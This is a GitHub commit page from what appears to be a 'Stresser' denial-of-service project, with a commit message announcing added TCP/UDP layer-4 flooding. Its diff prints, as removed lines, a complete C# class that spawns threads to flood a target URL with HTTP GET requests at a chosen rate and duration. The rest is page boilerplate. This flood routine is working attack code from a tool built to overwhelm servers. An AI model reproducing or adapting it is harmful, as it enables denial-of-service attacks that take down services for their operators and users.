-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
-> Added L4 TCP/UDP I said that I wont but yeah
- Loading branch information
Showing
28 changed files
with
451 additions
and
55 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,3 +1,5 @@ | ||
/obj | ||
/bin | ||
/.mono | ||
/.mono | ||
/Stresser*/obj | ||
/Stresser*/bin |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,46 +1,11 @@ | ||
using System.Diagnostics; | ||
using System.Net; | ||
using System.Net.Sockets; | ||
|
||
namespace Stresser.Helpers.Flood | ||
{ | ||
public class Flood | ||
{ | ||
private static readonly HttpClient _client = new HttpClient(); | ||
|
||
public static async Task SendGetRequests(string url, int threads, int requestsPerSecond, int durationSeconds) | ||
{ | ||
var tasks = new List<Task>(); | ||
|
||
for (int i = 0; i < threads; i++) | ||
{ | ||
tasks.Add(Task.Run(() => FireRequests(url, requestsPerSecond, durationSeconds))); | ||
} | ||
|
||
await Task.WhenAll(tasks.ToArray()); | ||
} | ||
|
||
private static async Task FireRequests(string url, int requestsPerSecond, int durationSeconds) | ||
{ | ||
var delay = (int)(1000.0 / requestsPerSecond); // Convert to milliseconds | ||
|
||
var stopwatch = Stopwatch.StartNew(); | ||
while (stopwatch.Elapsed.TotalSeconds < durationSeconds) | ||
{ | ||
try | ||
{ | ||
await _client.GetAsync(url); | ||
} | ||
catch (Exception) | ||
{ | ||
// Handle exceptions if needed | ||
} | ||
|
||
await Task.Delay(delay); | ||
} | ||
} | ||
|
||
public static async Task Start(string targetUrl, int threads, int requestsPerSecond, int durationSeconds) | ||
{ | ||
await SendGetRequests(targetUrl, threads, requestsPerSecond, durationSeconds); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.